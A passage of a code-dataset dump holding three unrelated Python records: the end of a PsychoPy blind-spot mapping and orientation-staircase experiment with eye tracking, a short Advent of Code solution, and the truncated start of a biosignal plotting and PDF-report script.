-------Ending Routine \"Start\"-------\n for thisComponent in start_autodraw:\n if hasattr(thisComponent, \"setAutoDraw\"):\n thisComponent.setAutoDraw(False)\n start_beep.stop() # ensure sound has stopped at end of routine\n\n # ------Prepare to start Routine \"Trials\"-------\n # keep track of which components have finished\n trials_autodraw = [trials_fixation, trials_dot, trials_dot_pos, trials_info]\n # reset timers\n t = 0\n _timeToFirstFrame = win.getFutureFlipTime(clock=\"now\")\n TrialsClock.reset(-_timeToFirstFrame) # t0 is time of first possible flip\n frameN = -1\n continueRoutine = True\n if exp_config['Eye_Tracker']:\n trials_tracking = {'frameN': [], 'routine_time':[], 'gaze':[], 'good_fixation':[], 'click': []}\n else:\n trials_tracking = {'None': 'eye tracker not found'}\n\n # -------Run Routine \"Trials\"-------\n trials_mouse.clickReset()\n trials_dot_ocolor_rgb = [float(x) for x in trials_dot.color]\n trials_dot_rcolor_rgb = [float(255 - x) for x in trials_dot.color]\n keyboard_start = False\n while continueRoutine:\n # get current time\n t = TrialsClock.getTime()\n tThisFlip = win.getFutureFlipTime(clock=TrialsClock)\n frameN += 1 # number of completed frames (so 0 is the first frame)\n # update/draw components on each frame\n # *trials_fixation*, *trials_mouse* and *trials_dot* updates\n if tThisFlip >= 0.0-exp_config['FrameTolerance']:\n if exp_config['Eye_Tracker']:\n gaze = tracker.getPosition()\n if gaze is None:\n gaze = (99999, 99999)\n else: pass\n good = good_fix(exp_config['Fix_Pos'], gaze, exp_config['EyeTolerance'])\n if not good:\n trials_fixation.color = tuple(name_to_rgb('red'))\n else:\n trials_fixation.color = exp_config['Fix_Color']\n trials_tracking['frameN'].append(frameN)\n trials_tracking['routine_time'].append(t)\n trials_tracking['gaze'].append(gaze)\n trials_tracking['good_fixation'].append(good)\n trials_fixation.setAutoDraw(True)\n\n # Note that the flickering cursor switches its color according to frameN!!\n # so be cautious about actual framerate and the flickering rate you want\n if exp_config['Flickering(Hz)'] and frameN % exp_config['Flickering_FrameRate'] == 0:\n if all(np.array(trials_dot.color) == np.array(trials_dot_ocolor_rgb)):\n trials_dot.color = trials_dot_rcolor_rgb\n elif all(np.array(trials_dot.color) == np.array(trials_dot_rcolor_rgb)):\n trials_dot.color = trials_dot_ocolor_rgb\n else: pass\n else: pass\n xy = (path, trials_mouse.getPos()[dimension])\n mouse_x, mouse_y = xy[1-dimension], xy[dimension]\n trials_dot.setPos(newPos = [mouse_x, mouse_y])\n clickreport = click_recorder(trials_mouse, mouse_x, mouse_y, clicks, win = win, eye_tracker = exp_config['Eye_Tracker'])\n if exp_config['Eye_Tracker']:\n trials_tracking['click'].append(clickreport)\n trials_dot.setAutoDraw(True)\n\n # *trials_info*, and *trials_dot_pos* updates\n if tThisFlip >= 0.0-exp_config['FrameTolerance'] and exp_config['Show_Raw_Data']:\n trials_info.text = (f\"Time: \\n{t}\\n\\nClicks:\\n{clicks}\")\n trials_info.setAutoDraw(True)\n trials_dot_pos.text = f\"X: {mouse_x}\\nY: {mouse_y}\"\n trials_dot_pos.setAutoDraw(True)\n\n # *trials_end* updates\n if not keyboard_start and tThisFlip >= 0.0-exp_config['FrameTolerance']:\n win.callOnFlip(trials_end.clearEvents, eventType='keyboard') # clear events on next screen flip\n keyboard_start = True\n if keyboard_start:\n theseKeys = trials_end.getKeys(keyList=['space', 'e', 'd'], waitRelease=False)\n if len(theseKeys):\n theseKeys = theseKeys[0] # at least one key was pressed\n if theseKeys == 'd':\n exp_config['Show_Raw_Data'] = not exp_config['Show_Raw_Data']\n trials_info.setAutoDraw(exp_config['Show_Raw_Data'])\n trials_dot_pos.setAutoDraw(exp_config['Show_Raw_Data'])\n elif theseKeys == 'space':\n continueRoutine = False\n dots = dots_estimation(clicks, axis = dimension)\n elif theseKeys == 'e' and exp_config['Eye_Tracker']:\n win.winHandle.minimize()\n win.winHandle.set_fullscreen(False)\n tracker.setRecordingState(False)\n tracker.runSetupProcedure()\n tracker.setRecordingState(True)\n win.winHandle.maximize()\n win.winHandle.set_fullscreen(True)\n win.winHandle.activate()\n else: pass\n \n # check for quit (typically the Esc key)\n if endExpNow or defaultKeyboard.getKeys(keyList=[\"escape\"]):\n core.quit()\n \n # check if all components have finished\n if not continueRoutine: # a component has requested a forced-end of Routine\n break \n # refresh the screen\n elif continueRoutine: # don't flip if this routine is over or we'll get a blank screen\n win.flip()\n if exp_config['Eye_Tracker']:\n trials_tracking = pd.DataFrame(trials_tracking)\n trials_tracking['Participant'] = exp_config['Participant']\n trials_tracking['Session'] = exp_config['Session']\n # -------Ending Routine \"Trials\"-------\n for thisComponent in trials_autodraw:\n if hasattr(thisComponent, \"setAutoDraw\"):\n thisComponent.setAutoDraw(False)\n return dots, trials_tracking\n\n\ndef orien_staircase(win, exp_config, ori_bs_pos):\n # Initialize components for Routine \"Staircase\"\n StaircaseClock = core.Clock()\n staircase_fixation = create_fixation(win = win, pos = exp_config['Fix_Pos(deg)'], size = exp_config['Fix_Size(deg)'], \n color = exp_config['Fix_Color'])\n staircase_start_beep = sound.Sound('1000', secs=1.0, stereo=True, hamming=False, volume = 1)\n staircase_info = create_info(win = win)\n staircase_end = keyboard.Keyboard()\n staircase_inset = visual.GratingStim(win=win, sf=1, size=2.4, mask='circle', ori=0, units = 'deg') # vertical grating\n staircase_grating = visual.GratingStim(win=win, sf=1, size=10, mask='circle', ori=exp_config['Reference_Orientation'],\n units = 'deg') # vertical grating\n staircase_doUCit = sound.Sound(value = 'doUCit.wav', secs = 1.05, stereo = True, hamming=False, volume = 1)\n side_code = np.random.randint(0, 2)\n if side_code == 0:\n choices = ['continuous', 'discontinuous']\n elif side_code == 1:\n choices = ['discontinuous', 'continuous']\n staircase_rating = visual.RatingScale(win = win, noMouse = True, pos=(0, 0), showValue = True, marker='circle', \n size=0.85, name='up', choices = choices, markerStart= 0.5,\n scale = 'Discontinuous or Continuous?')\n\n # ------Prepare to start Routine \"Staircase\"-------\n # Theoretically, \n # 2D1U, 3D1U, 4D1U, 5D1U, 6D1U staircases should target \n # 0.71, 0.79, 0.84, 0.87, 0.89 thresholds, while \n # the amount of trials influences std of threshold estimate.\n # The default setting is 3D1U staircase, but you can adjust it yourself.\n\n # update component parameters for each repeat\n staircase_autodraw = [staircase_fixation, staircase_info, staircase_inset, staircase_grating]\n\n # Specify potential fix positions.\n fix_pos_x = [int(x) for x in np.linspace(-6, 2, 10)] # x coordinates, here, the fixation is allowed to lay between -5 and 5 deg horizontally\n fix_pos_y = [int(x) for x in np.linspace(-2, 2, 10)] # y coordinate, here the fixation is allowed to lay between -2 and 2 deg vertically\n # This setting of fix pos fits 40cm by 30cm screen and distance = 57cm.\n fix_idx_range = len(fix_pos_x) # there should be 10 idx for x and y values, so there are in total 100 potential positions for the fixation.\n\n # Specify stimuli positions relative to the fix position.\n eccentricity = math.sqrt((ori_bs_pos[0])**2 + (ori_bs_pos[1])**2)\n rad_bs_norm = 2 * math.asin((0.5*np.array(staircase_grating.size).max(axis = 0))/eccentricity)\n rad_bs_hori = math.asin(ori_bs_pos[1] / eccentricity)\n rad_upper_hori = rad_bs_hori + rad_bs_norm\n rad_lower_hori = rad_bs_hori - rad_bs_norm\n ori_upper_pos = (eccentricity * math.cos(rad_upper_hori), eccentricity * math.sin(rad_upper_hori))\n ori_lower_pos = (eccentricity * math.cos(rad_lower_hori), eccentricity * math.sin(rad_lower_hori))\n\n event.clearEvents()\n frameN = -1\n if exp_config['Eye_Tracker']:\n staircase_tracking = {'frameN': [], 'routine_time':[], 'gaze':[], 'good_fixation':[], 'button':[], 'stimulus_display':[], 'recorded_response':[]}\n else:\n staircase_tracking = {'None': 'eye tracker not found'}\n\n # -------Run Routine \"Staircase\"-------\n ready = False\n offset = False\n # Note that the duration is according to frameN!!\n # so be cautious about the actual framerate and duration you want\n duration = exp_config['Staircase_Target_Display(s)']\n duration_frames = round(duration / exp_config['FrameDur'])\n _timeToFirstFrame = win.getFutureFlipTime(clock=\"now\")\n StaircaseClock.reset(-_timeToFirstFrame) # t0 is time of first possible flip\n # a beep indicating the start of staircase procedure.\n beep_start = False\n if not beep_start:\n start_time = StaircaseClock.getTime()\n staircase_start_beep.play(when=win) # sync with win flip\n beep_start = True\n while beep_start:\n # is it time to stop? (based on global clock, using actual start)\n if StaircaseClock.getTime() - start_time > 1:\n staircase_start_beep.stop()\n beep_start = False\n else: pass\n\n # staircase should not be added into StaircaseComponents\n staircase = data.StairHandler(startVal = exp_config['Start_Orientation_Contrast'], \n nReversals=exp_config['nReversals'], \n stepSizes=exp_config['Step_Sizes(ori)'], \n nTrials=exp_config['Staircase_Trials'], \n nUp=exp_config['nUp'], nDown=exp_config['nDown'], \n extraInfo=None, stepType='lin', minVal=0, maxVal=90)\n staircase_trials = 0\n\n for thisIncrement in staircase:\n staircase_trials += 1\n thisResp = None\n # reset timers\n _timeToFirstFrame = win.getFutureFlipTime(clock=\"now\")\n doUCit_start = False\n keyboard_start = False\n continueRoutine = True\n staircase_inset.setOri(staircase_grating.ori - thisIncrement)\n fix_pos = (fix_pos_x[np.random.randint(0, fix_idx_range)], fix_pos_y[np.random.randint(0, fix_idx_range)])\n staircase_fixation.setPos(fix_pos)\n bs_pos = (ori_bs_pos[0] + fix_pos[0], ori_bs_pos[1] + fix_pos[1])\n upper_pos = (ori_upper_pos[0] + fix_pos[0], ori_upper_pos[1] + fix_pos[1])\n lower_pos = (ori_lower_pos[0] + fix_pos[0], ori_lower_pos[1] + fix_pos[1])\n positions = [bs_pos, upper_pos, lower_pos]\n pos_idx = np.random.randint(0, 3)\n pos_labels = ['BS', 'Upper', 'Lower']\n pos_label = pos_labels[pos_idx]\n staircase_inset.setPos(positions[pos_idx])\n staircase_grating.setPos(positions[pos_idx]) # in other location\n while continueRoutine:\n t = StaircaseClock.getTime()\n tThisFlip = win.getFutureFlipTime(clock=StaircaseClock)\n tThisFlipGlobal = win.getFutureFlipTime(clock=None)\n frameN += 1 # number of completed frames (so 0 is the first frame)\n # update/draw components on each frame\n # start/stop staircase_doUCit\n if not doUCit_start and tThisFlip >= 0.0-exp_config['FrameTolerance'] and ready and offset:\n staircase_doUCit.tStartRefresh = tThisFlipGlobal # on global time\n staircase_doUCit.play(when=win) # sync with win flip\n doUCit_start = True\n if doUCit_start:\n if tThisFlipGlobal > staircase_doUCit.tStartRefresh + 1.05-exp_config['FrameTolerance']:\n staircase_doUCit.stop()\n \n # *staircase_fixation*, *staircase_inset*, and *staircase_grating* updates\n if tThisFlip >= 0.0-exp_config['FrameTolerance']:\n if offset:\n staircase_fixation.opacity = 0\n else:\n staircase_fixation.opacity = 1\n if exp_config['Eye_Tracker']:\n gaze = tracker.getPosition()\n if gaze is None:\n gaze = (99999, 99999)\n else: pass\n good = good_fix(exp_config['Fix_Pos(deg)'], gaze, exp_config['EyeTolerance'])\n if not good:\n staircase_fixation.color = tuple(name_to_rgb('red'))\n else:\n staircase_fixation.color = exp_config['Fix_Color']\n staircase_tracking['frameN'].append(frameN)\n staircase_tracking['routine_time'].append(t)\n staircase_tracking['gaze'].append(gaze)\n staircase_tracking['good_fixation'].append(good)\n staircase_fixation.setAutoDraw(True)\n\n if ready:\n # if the participant triggers the target object, set it visible.\n staircase_inset.opacity = 1\n staircase_grating.opacity = 1\n # Note that the flickering cursor switches its color according to frameN!!\n # so be cautious about actual framerate and the flickering rate you want\n if frameN <= offset_frameN:\n pass\n elif frameN > offset_frameN:\n staircase_inset.opacity = 0\n staircase_grating.opacity = 0\n offset = True\n else:\n staircase_inset.opacity = 0\n staircase_grating.opacity = 0\n offset = False\n staircase_grating.setAutoDraw(True)\n staircase_inset.setAutoDraw(True)\n\n # *staircase_info* updates\n if tThisFlip >= 0.0-exp_config['FrameTolerance'] and exp_config['Show_Raw_Data']:\n staircase_info.text = (f\"Display duration(frames): {duration_frames}\\nFrameN: {frameN}\\n\\n\"\n f\"Staircase_trials: {staircase_trials}\\n\"\n f\"Ori_Contrast: {thisIncrement}\\nPosition: {pos_label}\\n\\nTime: {t}\")\n staircase_info.setAutoDraw(True)\n \n # *staircase_rating* updates\n if ready and offset:\n win.mouseVisible = True\n staircase_rating.noMouse = False\n staircase_rating.mouseOnly = True\n staircase_rating.setAutoDraw(True)\n if not staircase_rating.noResponse:\n if pos_idx != 0 and not exp_config['Eye_Tracker'] or not sum_bad_fixation(staircase_tracking, onset_frameN, offset_frameN, time_back = 0.03, framedur = exp_config['FrameDur']):\n rating = staircase_rating.getRating()\n if rating == 'continuous':\n thisResp = 0\n elif rating == 'discontinuous':\n thisResp = 1\n continueRoutine = False\n else:\n continueRoutine = True\n doUCit_start = False\n fix_pos = (fix_pos_x[np.random.randint(0, fix_idx_range)], fix_pos_y[np.random.randint(0, fix_idx_range)])\n staircase_fixation.setPos(fix_pos)\n bs_pos = (ori_bs_pos[0] + fix_pos[0], ori_bs_pos[1] + fix_pos[1])\n upper_pos = (ori_upper_pos[0] + fix_pos[0], ori_upper_pos[1] + fix_pos[1])\n lower_pos = (ori_lower_pos[0] + fix_pos[0], ori_lower_pos[1] + fix_pos[1])\n positions = [bs_pos, upper_pos, lower_pos]\n pos_idx = np.random.randint(0, 3)\n pos_labels = ['BS', 'Upper', 'Lower']\n pos_label = pos_labels[pos_idx]\n staircase_inset.setPos(positions[pos_idx])\n staircase_grating.setPos(positions[pos_idx]) # in other location\n win.mouseVisible = False\n ready = False\n offset = False\n staircase_rating.setAutoDraw(False)\n side_code = np.random.randint(0, 2)\n if side_code == 0:\n choices = ['continuous', 'discontinuous']\n elif side_code == 1:\n choices = ['discontinuous', 'continuous']\n staircase_rating = visual.RatingScale(win = win, noMouse = True, pos=(0, 0), showValue = True, \n marker='circle', size=0.85, name='up', choices = choices, \n scale = 'Discontinuous or Continuous', markerStart=0.5)\n core.wait(exp_config['Staircase_Latency(s)'])\n\n # *staircase_end* updates\n if not keyboard_start and tThisFlip >= 0.0-exp_config['FrameTolerance']:\n win.callOnFlip(staircase_end.clearEvents, eventType='keyboard') # clear events on next screen flip\n event.clearEvents()\n keyboard_start = True\n if keyboard_start:\n theseKeys = staircase_end.getKeys(keyList=['space', 'e', 'd'], waitRelease=False)\n if len(theseKeys):\n theseKeys = theseKeys[0] # at least one key was pressed\n # check for quit:\n if theseKeys == 'e' and exp_config['Eye_Tracker']:\n theseKeys = theseKeys.name\n win.winHandle.minimize()\n win.winHandle.set_fullscreen(False)\n tracker.setRecordingState(False)\n tracker.runSetupProcedure()\n tracker.setRecordingState(True)\n win.winHandle.maximize()\n win.winHandle.set_fullscreen(True)\n win.winHandle.activate()\n elif theseKeys == 'd':\n theseKeys = theseKeys.name\n exp_config['Show_Raw_Data'] = not exp_config['Show_Raw_Data']\n staircase_info.setAutoDraw(exp_config['Show_Raw_Data'])\n elif not ready:\n if theseKeys == 'space':\n theseKeys = theseKeys.name\n if not exp_config['Eye_Tracker']:\n continueRoutine = True\n ready = True\n onset_time = core.getTime()\n onset_frameN = frameN # but the target will be displayed on the next frame.\n offset_frameN = onset_frameN + duration_frames\n elif good:\n continueRoutine = True\n ready = True\n onset_time = core.getTime()\n onset_frameN = frameN\n offset_frameN = onset_frameN + duration_frames\n else:\n theseKeys = 'None'\n if exp_config['Eye_Tracker']:\n staircase_tracking['button'].append(theseKeys)\n staircase_tracking['stimulus_display'].append(ready and not offset)\n staircase_tracking['recorded_response'].append(str(thisResp))\n \n\n # check for quit (typically the Esc key)\n if endExpNow or defaultKeyboard.getKeys(keyList=[\"escape\"]):\n core.quit()\n \n # check if all components have finished\n if not continueRoutine: # a component has requested a forced-end of Routine\n break \n # refresh the screen\n elif continueRoutine: # don't flip if this routine is over or we'll get a blank screen\n win.flip()\n staircase.addResponse(thisResp)\n continueRoutine = True\n if staircase_trials < staircase.nTrials:\n pass\n elif staircase_trials == staircase.nTrials:\n mean_final_n_trials = np.average(staircase.intensities[-exp_config['Final_n_Trials']:])\n try:\n staircase.saveAsPickle(exp_config['FileName'] + 'Staircase') # this file can be analyzed by psychopy official demo\n except Exception: pass\n\n if exp_config['Eye_Tracker']:\n staircase_tracking = pd.DataFrame(staircase_tracking)\n staircase_tracking['Participant'] = exp_config['Participant']\n staircase_tracking['Session'] = exp_config['Session']\n\n # -------Ending Routine \"Staircase\"-------\n for thisComponent in staircase_autodraw:\n if hasattr(thisComponent, \"setAutoDraw\"):\n thisComponent.setAutoDraw(False)\n win.flip()\n return mean_final_n_trials, staircase_tracking\n\n\n###########################################################################\n\n\n###########################################################################\n\n# -------Prepare experiment-------\n\n# Ensure that relative paths start from the same directory as this script\n_thisDir = os.path.dirname(os.path.abspath(__file__))\nos.chdir(_thisDir)\n\n# Store info about the experiment session\nexpName = 'exp'\n\n# Exp settings, can be specified before experiment\nexpInfo = {'Session': 'test', 'Participant': 'test', 'Sex': 'male', 'Age': '24', \n 'Monitor_Name': 'testMonitor', 'Monitor_Size(pix)': '1920, 1080', 'Monitor_Size(cm)': '31, 17.5', \n 'Distance(cm)': '28',\n 'BG_Color': '128, 128, 128', 'Fix_Color': 'white', 'Fix_Size(deg)': '1.26', 'Fix_Pos(deg)': '9.34, 0', \n 'Cursor_Color': 'white', 'Cursor_Size(deg)': '0.38', 'Flickering(Hz)': '20', \n 'Test_Eye': ['RIGHT', 'LEFT'], \n 'Horizontal_Trials': 'Default', 'Vertical_Trials': 'Default',\n 'Staircase': ['True', 'False'],\n 'Eye_Tracker': ['True', 'False']}\n# Apart from 'Default', 'Horizontal_Trials' and 'Vertical_Trials' accept a list or tuple containing ints or floats.\n# e.g., [1]\nexpdlg = gui.DlgFromDict(dictionary=expInfo, sortKeys=False, title=expName)\nif expdlg.OK == False: # \"dlg.OK\" returns boolean. \"dlg.OK\" == bool(dlg)\n core.quit() # user pressed cancel\n\n# Staircase settings\nif expInfo['Staircase'] == 'True':\n staircaseInfo = {'Reference_Orientation': '90', 'Start_Orientation_Contrast': '50', \n 'Step_Sizes(ori)': '10, 5, 5, 2, 2, 1, 1', \n 'Staircase_Trials': '50', 'nUp': '1', 'nDown': '2', 'nReversals': '8', \n 'Final_n_Trials': '10',\n 'Staircase_Target_Display(s)': '0.4', 'Staircase_Latency(s)': '0.4'}\n staircasedlg = gui.DlgFromDict(dictionary = staircaseInfo, sortKeys = False, title = 'Staircase settings')\n if staircasedlg.OK == False:\n core.quit()\nelif expInfo['Staircase'] == 'False':\n staircaseInfo = {'Reference_Orientation': '90', 'Threshold_Orientation_Contrast': 'None'}\n staircasedlg = gui.DlgFromDict(dictionary = staircaseInfo, sortKeys = False, title = 'Staircase settings')\n if staircasedlg.OK == False:\n core.quit()\n\n# Eye tracker settings\nif expInfo['Eye_Tracker'] == 'True':\n eyetrackingInfo = {'Tolerance(deg)': '1.5', 'Calibration_Type': ['HV9']} # 9-point calibration is good enough\n eyetrackingdlg = gui.DlgFromDict(dictionary = eyetrackingInfo, sortKeys = False, title = 'Eyetracker settings')\n if eyetrackingdlg.OK == False:\n core.quit()\n for key in eyetrackingInfo:\n try:\n eyetrackingInfo[key] = eval(eyetrackingInfo[key])\n except: pass\nelif expInfo['Eye_Tracker'] == 'False':\n pass\n\n# Use eval() to transform str to other types like list and tuple.\nfor key in staircaseInfo:\n staircaseInfo[key] = eval(staircaseInfo[key])\n\n\n# Some exp info is to be used, so transform str to correct types.\nfor key in ['Monitor_Size(pix)', 'Monitor_Size(cm)', 'Distance(cm)',\n 'BG_Color', 'Fix_Color', 'Fix_Size(deg)', 'Fix_Pos(deg)', \n 'Cursor_Color', 'Cursor_Size(deg)', 'Flickering(Hz)',\n 'Staircase', 'Eye_Tracker']:\n try:\n expInfo[key] = eval(expInfo[key])\n except Exception:\n expInfo[key] = tuple(name_to_rgb(expInfo[key]))\n\nexpInfo['Fix_Pos(deg)'] = list(expInfo['Fix_Pos(deg)'])\n\nif expInfo['Test_Eye'] == 'RIGHT':\n a = -1\nelif expInfo['Test_Eye'] == 'LEFT':\n a = 1\nelse:\n a = 1\nexpInfo['Fix_Pos(deg)'][0] = a * abs(expInfo['Fix_Pos(deg)'][0])\nexpInfo['Date'] = data.getDateStr() # add a simple timestamp\nexpInfo['ExpName'] = expName\n\n# Start Code - component code to be run before the window creation\n# Eye tracker (if set True)\n# This eye tracker uses the same units (deg here) with win\nif expInfo['Eye_Tracker']:\n from psychopy.iohub import launchHubServer\n iohub_config = {'eyetracker.hw.sr_research.eyelink.EyeTracker':\n {'name': 'tracker',\n 'model_name': 'EYELINK 1000 DESKTOP',\n 'runtime_settings': {'sampling_rate': 1500,\n 'track_eyes': expInfo['Test_Eye']}\n }\n }\n io = launchHubServer(**iohub_config)\n # Get the eye tracker device.\n tracker = io.devices.tracker\n tracker.runSetupProcedure()\n tracker.setRecordingState(True)\n\n# Setup the Window\nwin = visual.Window(\n size=expInfo['Monitor_Size(pix)'], fullscr=False, screen=0, \n winType='pyglet', allowGUI=False, allowStencil=False,\n monitor=expInfo['Monitor_Name'], colorSpace='rgb255', color=expInfo['BG_Color'], \n blendMode='avg', useFBO=True, units='deg')\nframeTolerance = 0.001 # how close to onset before 'same' frame\n# Store frame rate of monitor if we can measure it\nexpInfo['FrameRate'] = round(win.getActualFrameRate())\nif expInfo['FrameRate'] != None:\n frameDur = 1.0 / expInfo['FrameRate']\nelse:\n frameDur = 1.0 / 60.0 # could not measure, so guess\nif expInfo['Flickering(Hz)']:\n flickering_frameRate = round(1 / (expInfo['Flickering(Hz)'] * frameDur)) # flickering according to frame number\n\n# Data saving\n# Data file name stem = absolute path + name; later add .psyexp, .csv, .log, etc\nfilename = _thisDir + os.sep + u'data/%s_%s_%s_%s' % (expInfo['Participant'], expInfo['Session'], expName, expInfo['Date'])\n# An ExperimentHandler isn't essential but helps with data saving\nthisExp = data.ExperimentHandler(name=expName, version='',\n extraInfo=expInfo, runtimeInfo=None,\n savePickle=True, saveWideText=True,\n dataFileName=filename)\n# save a log file for detail verbose info\n# logFile = logging.LogFile(filename+'.log', level=logging.EXP)\nlogging.console.setLevel(logging.WARNING) # this outputs to the screen, not a file\n\n# create exp_configs\nsettings = ['Session', 'Participant', 'Test_Eye', \n 'Fix_Pos(deg)', 'Fix_Size(deg)', 'Fix_Color', \n 'Cursor_Color', 'Cursor_Size(deg)', 'Flickering(Hz)', \n 'Eye_Tracker']\nconfig = {key: value for key, value in expInfo.items() if key in settings}\nconfig.update(staircaseInfo)\nconfig['Flickering_FrameRate'] = flickering_frameRate\nconfig['FrameTolerance'] = frameTolerance\nconfig['Show_Raw_Data'] = False\nconfig['FrameDur'] = frameDur\nconfig['FileName'] = filename\nif expInfo['Eye_Tracker']:\n config['EyeTolerance'] = eyetrackingInfo['Tolerance(deg)']\nelse: pass\n\n# Create a default keyboard (e.g. to check for escape)\ndefaultKeyboard = keyboard.Keyboard()\nendExpNow = False # flag for 'escape' or other condition => quit the exp\n\n\n\n# -------Run experiment-------\n# Reasonable values of BS position (in pix) and height when distance = 57 cm, 1 degree = 32 pix\nbs_c_y = 0 # blind spot center vertical (y) coordinate value\n\nexpInfo['H_Trials'] = bs_c_y # short var name to save typing\n\nif expInfo['Horizontal_Trials'] != 'Default':\n expInfo['H_Trials'] = eval(expInfo['Horizontal_Trials'])\nif expInfo['Vertical_Trials'] != 'Default':\n expInfo['V_Trials'] = eval(expInfo['Vertical_Trials'])\nht_dots, ht_tracking = border_points(win = win, exp_config = config, path = expInfo['H_Trials'], dimension = 0)\n\nif expInfo['Vertical_Trials'] != 'Default':\n pass\nelse:\n bs_c_x = np.array(ht_dots).mean(axis = 0)[0] # x coordinate of the bs center, inferred based on HT results\n expInfo['V_Trials'] = bs_c_x\n\n\nvt_dots, vt_tracking = border_points(win = win, exp_config = config, path = expInfo['V_Trials'], dimension = 1)\nbs_c_y = np.array(vt_dots).mean(axis = 0)[1] # x coordinate of the bs center, inferred based on HT results\nbs_center = (bs_c_x, bs_c_y)\nbs_height = np.array(vt_dots).max(axis = 0)[1] - np.array(vt_dots).min(axis = 0)[1]\n\nhd_dots, hd_tracking = border_points(win = win, exp_config = config, path = bs_c_y, dimension = 0)\nbs_width = np.array(hd_dots).max(axis = 0)[0] - np.array(hd_dots).min(axis = 0)[0]\nbs_center_2_fixation = (bs_c_x - expInfo['Fix_Pos(deg)'][0], bs_c_y - expInfo['Fix_Pos(deg)'][1])\nexpInfo['BS_Center_to_Fix(deg)'] = bs_center_2_fixation\nexpInfo['BS_Width(deg)'] = bs_width\nexpInfo['BS_Height(deg)'] = bs_height\n\nif expInfo['Staircase']:\n ori_contrast, staircase_tracking = orien_staircase(win = win, exp_config = config, ori_bs_pos = bs_center_2_fixation)\n staircaseInfo['Threshold_Orientation_Contrast'] = ori_contrast\nelse:\n ori_contrast = staircaseInfo['Threshold_Orientation_Contrast']\n\nprint(f'Threshold orientation contrast: {ori_contrast}\\nBS width: {bs_width}\\n'\n f'BS height: {bs_height}\\nBS Center to Fix: {bs_center_2_fixation}')\n\n\n# Initialize components for Routine \"Test_complete\"\ntest_complete = create_text(win = win, color = expInfo['Cursor_Color'], text=('Congratulations!\\n\\nYou have completed the whole procedure.\\n\\n\\n\\n\\n\\n\\n'\n '*Please press \"space\" key to end...')\n )\n\n# run 'Test_complete'\n# ------Prepare to start Routine \"Test_complete\"-------\n# reset timers\nevent.clearEvents()\nwhile True:\n test_complete.draw()\n win.flip()\n if event.getKeys(['space', 'escape']):\n break\n\n###########################################################################\n\n\n###########################################################################\n\n# save data\nexpInfo['Raw_BS_Vertices(deg)'] = hd_dots + vt_dots\nexpInfo.update(staircaseInfo)\nif expInfo['Eye_Tracker']:\n expInfo.update(eyetrackingInfo)\nwin.flip()\n\n# these shouldn't be strictly necessary (should auto-save)\n# thisExp.saveAsWideText(filename+'.csv')\n# thisExp.saveAsPickle(filename)\nexp_extraInfo = thisExp.extraInfo\ndata = ['ExpName', 'Date', 'Session', 'Monitor_Size(pix)', 'FrameRate', \n 'Distance(cm)', 'Participant', 'Sex', 'Age', 'Test_Eye', 'BG_Color',\n 'Fix_Pos(deg)', 'Fix_Size(deg)', 'Fix_Color', 'Cursor_Color', 'Cursor_Size(deg)', 'Flickering(Hz)',\n 'BS_Center_to_Fix(deg)', 'Raw_BS_Vertices(deg)', 'BS_Vertices', 'BS_Width(deg)', 'BS_Height(deg)',\n 'Staircase', 'Eye_Tracker']\ndata += list(staircaseInfo.keys())\nif expInfo['Eye_Tracker']:\n data += list(eyetrackingInfo.keys())\n try:\n ht_tracking.to_csv(filename + 'HT_tracking' + '.csv')\n vt_tracking.to_csv(filename + 'VT_tracking' + '.csv')\n hd_tracking.to_csv(filename + 'HD_tracking' + '.csv')\n staircase_tracking.to_csv(filename + 'Staircase_tracking' + '.csv')\n except Exception as e:\n print(e)\n# save all raw data in a txt file, so if you want to explore the data in python,\n# just read the txt file and call eval() on it, and you get a dict object.\nwith open(filename + '.txt', 'w', encoding = 'utf-8') as txt_file:\n txt_file.write(str(exp_extraInfo))\n# some raw data in a csv file, note that data are saved as strings, so not very convenient to analyze\npd.DataFrame([exp_extraInfo]).to_csv(filename + '.csv', columns = data)\n# so save numeric data in another csv file.\n\nlogging.flush()\n# make sure everything is closed down\nif expInfo['Eye_Tracker']:\n tracker.setRecordingState(False)\n io.quit()\nthisExp.abort() # or data files will save again on exit\nwin.close()\ncore.quit()","repo_name":"LxIiNaGo/BlindSpotMapping","sub_path":"ExampleExp/orientation_threshold.py","file_name":"orientation_threshold.py","file_ext":"py","file_size_in_byte":42697,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"1112704203","text":"path= 'Archivo2.txt'\nf = open(path, 'r')\nhorizontal=0\nvertical=0\ncontador=0\n\nimport re\np = re.compile( '[d][o]' )\nq = re.compile( '[u]' )\nr = re.compile( '[f][o]' )\n\nwhile True:\n aux1 = f.readline()\n aux1 = aux1.strip('\\n')\n if not aux1:\n break\n\n m = p.match(aux1)\n if m:\n aux1 = aux1.strip('down')\n aux2 = int(aux1)\n vertical=vertical+aux2\n print(aux2)\n print(\"opcion 1\")\n\n m = q.match(aux1)\n if m:\n aux1 = aux1.strip('up')\n aux2 = int(aux1)\n vertical=vertical-aux2\n print(aux2)\n print(\"opcion 2\")\n\n m = r.match(aux1)\n if m:\n aux1 = aux1.strip('forward')\n aux2 = int(aux1)\n horizontal=horizontal+aux2\n print(aux2)\n print(\"opcion 3\")\n\nprint(horizontal*vertical)","repo_name":"jcrr1111/AdventOfCode","sub_path":"Dia2.py","file_name":"Dia2.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16773356835","text":"# IMPORTS\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom scipy import signal\nfrom tkinter import *\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg,NavigationToolbar2Tk\nfrom fpdf import FPDF\nimport functools\n\n\n# ~ IMPORTS\n\n# ------------------------------------------------------------------------------------------------\n\nwindow = Tk()\n\n# LOADING THE DATA\nEMG = pd.read_csv('EMG.csv')\n\nvoice = pd.read_csv('samples (8).csv')\n\nECG = pd.read_csv('ECG.csv')\n\n\nsignals = [ECG,EMG,voice]\n# ~ LOADING\n# -----------------------------------------------------------\n# PDF\npdf = FPDF()\npdf.add_page()\npdf.set_font('Arial', 'B', 16)\npdf.cell(40, 10, 'DSP REPORT')\n\nWIDTH = 210\nHEIGHT = 297\npad = 10\n\n#---------------------------------------------------------------------------------------\n# PDF\n\ndef PDF(i):\n figtest = plt.figure(figsize=(10.0, 5.0), linewidth=30.0)\n ax = figtest.add_subplot(111)\n ax.plot(signals[i]['Elapsed time'], signals[i]['vals'], color='b')\n ax.figure.savefig(f\"{i}.png\")\n if i==0:\n pdf.image(f\"{i}.png\", 0, 30, 